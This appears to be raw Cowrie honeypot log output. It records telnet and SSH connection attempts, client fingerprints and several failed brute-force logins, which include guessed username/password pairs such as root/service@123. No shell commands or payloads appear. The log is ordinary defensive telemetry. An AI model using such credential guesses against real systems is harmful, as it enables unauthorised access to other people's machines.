{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46564,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d4afcc65949","protocol":"telnet","message":"New connection: 209.126.87.217:46564 (159.203.135.109:23) [session: 9d4afcc65949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:46.498014Z"}
{"eventid":"cowrie.session.closed","duration":33.921794176101685,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:46.774649Z","src_ip":"139.162.207.207","session":"28a1c618d2a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":40720,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c5a09f696d5","protocol":"telnet","message":"New connection: 139.162.207.207:40720 (10.17.0.5:23) [session: 8c5a09f696d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:47.247326Z"}
{"eventid":"cowrie.session.closed","duration":35.282246828079224,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:48.174881Z","src_ip":"209.126.87.217","session":"7d762ef697a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.953087329864502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:48.196557Z","src_ip":"108.179.216.206","session":"bdf30719710f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":40728,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c2b1421618c","protocol":"telnet","message":"New connection: 139.162.207.207:40728 (10.17.0.5:23) [session: 2c2b1421618c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:48.614660Z"}
{"eventid":"cowrie.session.closed","duration":36.49292540550232,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:49.227988Z","src_ip":"139.162.207.207","session":"f1c5c5255c71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.18667483329773,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:50.213742Z","src_ip":"209.126.87.217","session":"b9c77a7a03fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.29090905189514,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:50.434930Z","src_ip":"209.126.87.217","session":"d4b9d70bec90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45424,"dst_ip":"159.203.135.109","dst_port":23,"session":"092c5977f79d","protocol":"telnet","message":"New connection: 209.126.87.217:45424 (159.203.135.109:23) [session: 092c5977f79d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:52.462643Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":40736,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0b0a2098461","protocol":"telnet","message":"New connection: 139.162.207.207:40736 (10.17.0.5:23) [session: c0b0a2098461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:52.880109Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":40746,"dst_ip":"10.17.0.5","dst_port":23,"session":"e86935273bb6","protocol":"telnet","message":"New connection: 139.162.207.207:40746 (10.17.0.5:23) [session: e86935273bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:53.189913Z"}
{"eventid":"cowrie.session.closed","duration":44.98973226547241,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:53.854441Z","src_ip":"139.162.207.207","session":"634121e1d499","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":40304,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc7a1810092c","protocol":"telnet","message":"New connection: 108.179.216.206:40304 (10.17.0.5:23) [session: dc7a1810092c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:54.478109Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45428,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b1ddf2945b9","protocol":"telnet","message":"New connection: 209.126.87.217:45428 (159.203.135.109:23) [session: 4b1ddf2945b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:58.124063Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":43462,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e53faa03873","protocol":"telnet","message":"New connection: 139.162.207.207:43462 (10.17.0.5:23) [session: 4e53faa03873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:01.115908Z"}
{"eventid":"cowrie.session.closed","duration":30.91994857788086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:02.323761Z","src_ip":"108.179.216.206","session":"1a026e4fcbf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23821759223938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:06.095719Z","src_ip":"108.179.216.206","session":"4c1851893adb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.61742305755615,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:06.554002Z","src_ip":"139.162.207.207","session":"d503189a1bb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.1281533241272,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:06.741183Z","src_ip":"209.126.87.217","session":"356e87a675d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.090147495269775,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:09.647206Z","src_ip":"209.126.87.217","session":"ea32b0b03904","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44360,"dst_ip":"159.203.135.109","dst_port":23,"session":"97569fd9d1ef","protocol":"telnet","message":"New connection: 209.126.87.217:44360 (159.203.135.109:23) [session: 97569fd9d1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:10.155630Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":41540,"dst_ip":"10.17.0.5","dst_port":23,"session":"47fcdad7211f","protocol":"telnet","message":"New connection: 139.162.207.207:41540 (10.17.0.5:23) [session: 47fcdad7211f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:11.201165Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44368,"dst_ip":"159.203.135.109","dst_port":23,"session":"c12b6144a341","protocol":"telnet","message":"New connection: 209.126.87.217:44368 (159.203.135.109:23) [session: c12b6144a341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:11.330635Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44380,"dst_ip":"159.203.135.109","dst_port":23,"session":"93f106249f9b","protocol":"telnet","message":"New connection: 209.126.87.217:44380 (159.203.135.109:23) [session: 93f106249f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:12.495877Z"}
{"eventid":"cowrie.session.closed","duration":33.309755086898804,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:13.378359Z","src_ip":"209.126.87.217","session":"f7440d910e43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44388,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebeeaa5a0a73","protocol":"telnet","message":"New connection: 209.126.87.217:44388 (159.203.135.109:23) [session: ebeeaa5a0a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:15.932234Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":45250,"dst_ip":"10.17.0.5","dst_port":22,"session":"85bc1c54c536","protocol":"ssh","message":"New connection: 80.94.92.182:45250 (10.17.0.5:22) [session: 85bc1c54c536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:16.093991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:16.254099Z","src_ip":"80.94.92.182","session":"85bc1c54c536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:16.258082Z","src_ip":"80.94.92.182","session":"85bc1c54c536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.31255507469177,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:16.605439Z","src_ip":"209.126.87.217","session":"605d10907d53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.04599475860596,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:16.997352Z","src_ip":"209.126.87.217","session":"6d4a7f4ae8c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44392,"dst_ip":"159.203.135.109","dst_port":23,"session":"3575e097e687","protocol":"telnet","message":"New connection: 209.126.87.217:44392 (159.203.135.109:23) [session: 3575e097e687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:17.081255Z"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:17.121613Z","src_ip":"80.94.92.182","session":"85bc1c54c536","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44394,"dst_ip":"159.203.135.109","dst_port":23,"session":"c82655071c48","protocol":"telnet","message":"New connection: 209.126.87.217:44394 (159.203.135.109:23) [session: c82655071c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:17.287871Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:18.242040Z","src_ip":"80.94.92.182","session":"85bc1c54c536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.459336042404175,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:18.957222Z","src_ip":"209.126.87.217","session":"9d4afcc65949","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44410,"dst_ip":"159.203.135.109","dst_port":23,"session":"40d0b6584f54","protocol":"telnet","message":"New connection: 209.126.87.217:44410 (159.203.135.109:23) [session: 40d0b6584f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:19.287918Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39974,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0a48c7b0d55","protocol":"telnet","message":"New connection: 209.126.87.217:39974 (159.203.135.109:23) [session: f0a48c7b0d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:20.176687Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39984,"dst_ip":"159.203.135.109","dst_port":23,"session":"22e7bd34519e","protocol":"telnet","message":"New connection: 209.126.87.217:39984 (159.203.135.109:23) [session: 22e7bd34519e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:20.469543Z"}
{"eventid":"cowrie.session.closed","duration":42.27367448806763,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:20.950877Z","src_ip":"139.162.207.207","session":"a46670f94b09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":59004,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6493c0e8042","protocol":"telnet","message":"New connection: 139.162.207.207:59004 (10.17.0.5:23) [session: c6493c0e8042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:21.083694Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.112.116","src_port":57674,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5f155c9788a","protocol":"ssh","message":"New connection: 14.103.112.116:57674 (159.203.135.109:22) [session: e5f155c9788a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:21.461901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:21.466695Z","src_ip":"14.103.112.116","session":"e5f155c9788a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39996,"dst_ip":"159.203.135.109","dst_port":23,"session":"a43c3e450224","protocol":"telnet","message":"New connection: 209.126.87.217:39996 (159.203.135.109:23) [session: a43c3e450224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:22.054018Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":36370,"dst_ip":"10.17.0.5","dst_port":22,"session":"afc3daa337d9","protocol":"ssh","message":"New connection: 45.43.86.48:36370 (10.17.0.5:22) [session: afc3daa337d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:22.607846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:22.613086Z","src_ip":"45.43.86.48","session":"afc3daa337d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:22.710182Z","src_ip":"45.43.86.48","session":"afc3daa337d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root@1234","message":"login attempt [ubuntu/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:23.154181Z","src_ip":"45.43.86.48","session":"afc3daa337d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:23.326471Z","src_ip":"14.103.112.116","session":"e5f155c9788a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:24.244351Z","src_ip":"45.43.86.48","session":"afc3daa337d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35052,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1d15be88588","protocol":"ssh","message":"New connection: 159.203.92.129:35052 (159.203.135.109:22) [session: c1d15be88588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:24.460394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:24.467719Z","src_ip":"159.203.92.129","session":"c1d15be88588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:24.471563Z","src_ip":"159.203.92.129","session":"c1d15be88588","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Passw0rd@123","message":"login attempt [ansible/Passw0rd@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:24.526214Z","src_ip":"159.203.92.129","session":"c1d15be88588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.69777727127075,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:25.229690Z","src_ip":"139.162.207.207","session":"7eec78d3f5ec","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"service@123","message":"login attempt [root/service@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:25.375690Z","src_ip":"14.103.112.116","session":"e5f155c9788a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.30911874771118,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:25.533097Z","src_ip":"185.26.126.47","session":"cd13f7dd5cad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:25.538618Z","src_ip":"159.203.92.129","session":"c1d15be88588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.509366273880005,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:25.971880Z","src_ip":"209.126.87.217","session":"092c5977f79d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":40012,"dst_ip":"159.203.135.109","dst_port":23,"session":"24524e85fa36","protocol":"telnet","message":"New connection: 209.126.87.217:40012 (159.203.135.109:23) [session: 24524e85fa36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:26.039675Z"}
